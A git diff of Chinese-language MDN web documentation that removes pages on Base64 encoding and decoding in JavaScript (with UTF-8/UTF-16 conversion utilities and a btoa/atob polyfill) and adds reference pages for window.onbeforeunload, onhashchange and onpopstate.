-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return  eqLen === 0 ?
-      sB64Enc
-    :
-      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
-
-}
-
- -

Tests

- -
var myString = "☸☹☺☻☼☾☿";
-
-/* Part 1: Encode `myString` to base64 using native UTF-16 */
-
-var aUTF16CodeUnits = new Uint16Array(myString.length);
-Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = myString.charCodeAt(idx); });
-var sUTF16Base64 = base64EncArr(new Uint8Array(aUTF16CodeUnits.buffer));
-
-/* Show output */
-
-alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
-
-/* Part 2: Decode `sUTF16Base64` to UTF-16 */
-
-var sDecodedString = String.fromCharCode.apply(null, new Uint16Array(base64DecToArr(sUTF16Base64, 2).buffer));
-
-/* Show output */
-
-alert(sDecodedString); // "☸☹☺☻☼☾☿"
- -

The produced string is fully portable, although represented as UTF-16. If you prefer UTF-8, see the next solution.

- -

Appendix to Solution #1: Decode a Base64 string to Uint8Array or ArrayBuffer

- -

The functions above let us also create uint8Arrays or arrayBuffers from base64-encoded strings:

- -
var myArray = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
-
-var myBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
-
-alert(myBuffer.byteLength);
- -
Note: The function base64DecToArr(sBase64[, nBlockSize]) returns an uint8Array of bytes. If your aim is to build a buffer of 16-bit / 32-bit / 64-bit raw data, use the nBlockSize argument, which is the number of bytes which the uint8Array.buffer.bytesLength property must result to be a multiple of (1 or omitted for ASCII, binary content, binary strings, UTF-8-encoded strings; 2 for UTF-16 strings; 4 for UTF-32 strings).
- -

For a more complete library, see StringView – a C-like representation of strings based on typed arrays (source code available on GitHub).

- -

Solution #2 – JavaScript's UTF-16 => UTF-8 => base64

- -

This solution consists in converting a JavaScript's native UTF-16 string into a UTF-8 string and then encoding the latter into base64. This also grants that converting a pure ASCII string to base64 always produces the same output as the native btoa().

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#2)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-/* Array of bytes to base64 string decoding */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlockSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-    }
-  }
-
-  return aBytes;
-}
-
-/* Base64 string to array encoding */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
-
-  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    /* Uncomment the following line in order to split the output in lines 76-character long: */
-    /*
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    */
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return  eqLen === 0 ?
-      sB64Enc
-    :
-      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
-
-}
-
-/* UTF-8 array to DOMString and vice versa */
-
-function UTF8ArrToStr (aBytes) {
-
-  var sView = "";
-
-  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
-    nPart = aBytes[nIdx];
-    sView += String.fromCharCode(
-      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
-        /* (nPart - 252 << 30) may be not so safe in ECMAScript! So...: */
-        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
-        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
-        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
-        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
-        (nPart - 192 << 6) + aBytes[++nIdx] - 128
-      : /* nPart < 127 ? */ /* one byte */
-        nPart
-    );
-  }
-
-  return sView;
-
-}
-
-function strToUTF8Arr (sDOMStr) {
-
-  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
-
-  /* mapping... */
-
-  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
-    nChr = sDOMStr.charCodeAt(nMapIdx);
-    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
-  }
-
-  aBytes = new Uint8Array(nArrLen);
-
-  /* transcription... */
-
-  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
-    nChr = sDOMStr.charCodeAt(nChrIdx);
-    if (nChr < 128) {
-      /* one byte */
-      aBytes[nIdx++] = nChr;
-    } else if (nChr < 0x800) {
-      /* two bytes */
-      aBytes[nIdx++] = 192 + (nChr >>> 6);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x10000) {
-      /* three bytes */
-      aBytes[nIdx++] = 224 + (nChr >>> 12);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x200000) {
-      /* four bytes */
-      aBytes[nIdx++] = 240 + (nChr >>> 18);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x4000000) {
-      /* five bytes */
-      aBytes[nIdx++] = 248 + (nChr >>> 24);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else /* if (nChr <= 0x7fffffff) */ {
-      /* six bytes */
-      aBytes[nIdx++] = 252 + (nChr >>> 30);
-      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    }
-  }
-
-  return aBytes;
-
-}
- -

Tests

- -
/* Tests */
-
-var sMyInput = "Base 64 \u2014 Mozilla Developer Network";
-
-var aMyUTF8Input = strToUTF8Arr(sMyInput);
-
-var sMyBase64 = base64EncArr(aMyUTF8Input);
-
-alert(sMyBase64); // "QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="
-
-var aMyUTF8Output = base64DecToArr(sMyBase64);
-
-var sMyOutput = UTF8ArrToStr(aMyUTF8Output);
-
-alert(sMyOutput); // "Base 64 — Mozilla Developer Network"
- -

Solution #3 – JavaScript's UTF-16 => binary string => base64

- -

The following is the fastest and most compact possible approach. The output is exactly the same produced by Solution #1 (UTF-16 encoded strings), but instead of rewriting {{domxref("WindowBase64.atob","atob()")}} and {{domxref("WindowBase64.btoa","btoa()")}} it uses the native ones. This is made possible by the fact that instead of using typed arrays as encoding/decoding inputs this solution uses binary strings as an intermediate format. It is a “dirty” workaround in comparison to Solution #1 (binary strings are a grey area), however it works pretty well and requires only a few lines of code.

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#3)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-function btoaUTF16 (sString) {
-
-	var aUTF16CodeUnits = new Uint16Array(sString.length);
-	Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = sString.charCodeAt(idx); });
-	return btoa(String.fromCharCode.apply(null, new Uint8Array(aUTF16CodeUnits.buffer)));
-
-}
-
-function atobUTF16 (sBase64) {
-
-	var sBinaryString = atob(sBase64), aBinaryView = new Uint8Array(sBinaryString.length);
-	Array.prototype.forEach.call(aBinaryView, function (el, idx, arr) { arr[idx] = sBinaryString.charCodeAt(idx); });
-	return String.fromCharCode.apply(null, new Uint16Array(aBinaryView.buffer));
-
-}
- -

Tests

- -
var myString = "☸☹☺☻☼☾☿";
-
-/* Part 1: Encode `myString` to base64 using native UTF-16 */
-
-var sUTF16Base64 = btoaUTF16(myString);
-
-/* Show output */
-
-alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
-
-/* Part 2: Decode `sUTF16Base64` to UTF-16 */
-
-var sDecodedString = atobUTF16(sUTF16Base64);
-
-/* Show output */
-
-alert(sDecodedString); // "☸☹☺☻☼☾☿"
-
- -

For a cleaner solution that uses typed arrays instead of binary strings, see solutions #1 and #2.

- -

Solution #4 – escaping the string before encoding it

- -
function b64EncodeUnicode(str) {
-    // first we use encodeURIComponent to get percent-encoded UTF-8,
-    // then we convert the percent encodings into raw bytes which
-    // can be fed into btoa.
-    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
-        function toSolidBytes(match, p1) {
-            return String.fromCharCode('0x' + p1);
-    }));
-}
-
-b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-b64EncodeUnicode('\n'); // "Cg=="
-
- -

To decode the Base64-encoded value back into a String:

- -
function b64DecodeUnicode(str) {
-    // Going backwards: from bytestream, to percent-encoding, to original string.
-    return decodeURIComponent(atob(str).split('').map(function(c) {
-        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
-    }).join(''));
-}
-
-b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-b64DecodeUnicode('Cg=='); // "\n"
-
- -

Unibabel implements common conversions using this strategy.

- -

Solution #5 – rewrite the DOMs atob() and btoa() using JavaScript's TypedArrays and UTF-8

- -

Use a TextEncoder polyfill such as TextEncoding (also includes legacy windows, mac, and ISO encodings), TextEncoderLite, combined with a Buffer and a Base64 implementation such as base64-js or TypeScript version of base64-js for both modern browsers and Node.js.

- -

When a native TextEncoder implementation is not available, the most light-weight solution would be to use Solution #3 because in addition to being much faster, Solution #3 also works in IE9 "out of the box." Alternatively, use TextEncoderLite with base64-js. Use the browser implementation when you can.

- -

The following function implements such a strategy. It assumes base64-js imported as <script type="text/javascript" src="base64js.min.js"/>. Note that TextEncoderLite only works with UTF-8.

- -
function Base64Encode(str, encoding = 'utf-8') {
-    var bytes = new (typeof TextEncoder === "undefined" ? TextEncoderLite : TextEncoder)(encoding).encode(str);
-    return base64js.fromByteArray(bytes);
-}
-
-function Base64Decode(str, encoding = 'utf-8') {
-    var bytes = base64js.toByteArray(str);
-    return new (typeof TextDecoder === "undefined" ? TextDecoderLite : TextDecoder)(encoding).decode(bytes);
-}
-
- -

注意: TextEncoderLite 不能正确处理四字节 UTF-8 字符, 比如 '\uD842\uDFB7' 或缩写为  '\u{20BB7}' 。参见 issue
- 可使用 text-encoding 作为替代。

- -

某些场景下,以上经由 UTF-8 转换到 Base64 的实现在空间利用上不一定高效。当处理包含大量 U+0800-U+FFFF 区域间字符的文本时, UTF-8 输出结果长于 UTF-16 的,因为这些字符在 UTF-8 下占用三个字节而 UTF-16 是两个。在处理均匀分布 UTF-16 码点的 JavaScript 字符串时应考虑采用 UTF-16 替代 UTF-8 作为 Base64 结果的中间编码格式,这将减少 40% 尺寸。

- -
-

译者注:下为陈旧翻译片段

-
- -
    -
  • 第一个是转义(escape)整个字符串然后编码这个它;
  • -
  • 第二个是把UTF-16的 DOMString 转码为UTF-8的字符数组然后编码它。
  • -
- -

方案 #1 – 编码之前转义(escape)字符串

- -
function b64EncodeUnicode(str) {
-    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
-        return String.fromCharCode('0x' + p1);
-    }));
-}
-
-b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-
- -

把base64转换回字符串

- -
function b64DecodeUnicode(str) {
-    return decodeURIComponent(atob(str).split('').map(function(c) {
-        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
-    }).join(''));
-}
-
-b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-b64DecodeUnicode('Cg=='); // "\n"
- -

Unibabel 是一个包含了一些使用这种策略的通用转换的库。

- -

方案 #6 – 用JavaScript的 TypedArray 和 UTF-8重写DOM的 atob() 和 btoa()

- -

使用像TextEncoding(包含了早期(legacy)的windows,mac, 和 ISO 编码),TextEncoderLite 或者 Buffer 这样的文本编码器增强(polyfill)和Base64增强,比如base64-jsTypeScript 版本的  base64-js (适用于长青浏览器和 Node.js)。

- -

最简单,最轻量级的解决方法就是使用 TextEncoderLite 和 base64-js.

- -

想要更完整的库的话,参见 StringView – a C-like representation of strings based on typed arrays.

- -

参见

- - diff --git a/files/zh-cn/web/api/windowbase64/btoa/index.html b/files/zh-cn/web/api/windowbase64/btoa/index.html deleted file mode 100644 index 6b742198a5..0000000000 --- a/files/zh-cn/web/api/windowbase64/btoa/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.btoa() -slug: Web/API/WindowBase64/btoa -tags: - - API - - Base64 - - Web - - WindowOrWorkerGlobalScope - - 参考 - - 字符串 - - 数据 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/btoa ---- -

{{APIRef("HTML DOM")}}

- -

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

- -
-

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

-
- -

语法

- -
let encodedData = window.btoa(stringToEncode);
-
- -

参数

- -
-
stringToEncode
-
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
-
- -

返回值

- -

一个包含 stringToEncode 的 Base64 表示的字符串。

- -

示例

- -
let encodedData = window.btoa("Hello, world"); // 编码
-let decodedData = window.atob(encodedData);    // 解码
-
- -

备注

- -

你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

- -

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

- -

Unicode 字符串

- -

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

- -

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

- -
// ucs-2 string to base64 encoded ascii
-function utoa(str) {
-    return window.btoa(unescape(encodeURIComponent(str)));
-}
-// base64 encoded ascii to ucs-2 string
-function atou(str) {
-    return decodeURIComponent(escape(window.atob(str)));
-}
-// Usage:
-utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
-atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-
-utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
-atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
-
- -

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
- -

Polyfill

- -
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
-(function() {
-    // base64 character set, plus padding character (=)
-    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
-
-        // Regular expression to check formal correctness of base64 encoded strings
-        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
-
-    window.btoa = window.btoa || function(string) {
-        string = String(string);
-        var bitmap, a, b, c,
-            result = "",
-            i = 0,
-            rest = string.length % 3; // To determine the final padding
-
-        for (; i < string.length;) {
-            if ((a = string.charCodeAt(i++)) > 255 ||
-                (b = string.charCodeAt(i++)) > 255 ||
-                (c = string.charCodeAt(i++)) > 255)
-                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
-
-            bitmap = (a << 16) | (b << 8) | c;
-            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
-                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
-        }
-
-        // If there's need of padding, replace the last 'A's with equal signs
-        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
-    };
-
-    window.atob = window.atob || function(string) {
-        // atob can work with strings with whitespaces, even inside the encoded part,
-        // but only \t, \n, \f, \r and ' ', which can be stripped.
-        string = String(string).replace(/[\t\n\f\r ]+/g, "");
-        if (!b64re.test(string))
-            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
-
-        // Adding the padding if missing, for semplicity
-        string += "==".slice(2 - (string.length & 3));
-        var bitmap, result = "",
-            r1, r2, i = 0;
-        for (; i < string.length;) {
-            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
-                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
-
-            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
-                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
-                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
-        }
-        return result;
-    };
-})()
-
- -

浏览器兼容性

- -

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html new file mode 100644 index 0000000000..78bed99eb9 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html @@ -0,0 +1,111 @@ +--- +title: window.onbeforeunload +slug: Web/API/Window/onbeforeunload +translation_of: Web/API/WindowEventHandlers/onbeforeunload +--- +
{{ApiRef}}
+ +

概述

+ +

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

+ +

语法

+ +
window.onbeforeunload = funcRef
+ +
    +
  • funcRef 是一个函数引用
  • +
  • 该函数应当将一个说明字符串赋值给Event对象的returnValue属性(兼容旧版浏览器),并且返回该字符串
  • +
  • 请注意,在Firefox4及其后续版本中,返回的说明字符串并不向用户显示,也就是无法自定义说明字符串.查看Bug 588292.
  • +
+ +

示例

+ +
window.onbeforeunload = function (e) {
+  e = e || window.event;
+
+  // 兼容IE8和Firefox 4之前的版本
+  if (e) {
+    e.returnValue = '关闭提示';
+  }
+
+  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
+  return '关闭提示';
+};
+
+ +

附注

+ +

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

+ +

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

+ +

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

+ +

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

+ +

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

规范

+ +

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

+ +
    +
  • {{spec("http://dev.w3.org/html5/spec-LC/history.html#unloading-documents", "HTML5: Browsing the Web, Unloading documents", "LC")}}
  • +
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html new file mode 100644 index 0000000000..0c7f3ebefa --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html @@ -0,0 +1,124 @@ +--- +title: window.onhashchange +slug: Web/API/Window/onhashchange +tags: + - HTML-DOM + - Property + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +

{{APIRef("HTML DOM")}}

+ +

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

+ +

语法

+ +
window.onhashchange = funcRef;
+
+ +

或者

+ +
<body onhashchange="funcRef();">
+ +

以上操作将覆盖现有的事件处理程序。

+ +

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

参数

+ +
+
funcRef
+
对一个函数的引用。
+
+ +

例子

+ +
if ("onhashchange" in window) {
+    alert("该浏览器支持 hashchange 事件!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

hashchange 事件

+ +

hashchange 事件对象有下面两个属性:

+ + + + + + + + + + + + + + + + + + + +
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
+ +

Workaround for event.newURL and event.oldURL

+ +
//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.WindowEventHandlers.onhashchange")}}

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html new file mode 100644 index 0000000000..6efc1ec835 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html @@ -0,0 +1,68 @@ +--- +title: window.onpopstate +slug: Web/API/Window/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +

{{ ApiRef() }}

+ +

{{ gecko_minversion_header("2") }}

+ +

概述

+ +

window.onpopstatepopstate事件在window对象上的事件处理程序.

+ +

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

+ +

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

+ +

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

+ +

语法

+ +
window.onpopstate = funcRef;
+
+ +
    +
  • funcRef 是个函数名.
  • +
+ +

popstate事件

+ +

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+//绑定事件处理函数.
+history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
+history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
+history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
+history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // 弹出 "location: http://example.com/example.html, state: null
+history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

+ +

规范

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onpopstate")}}

+ +

相关链接

+ + + +

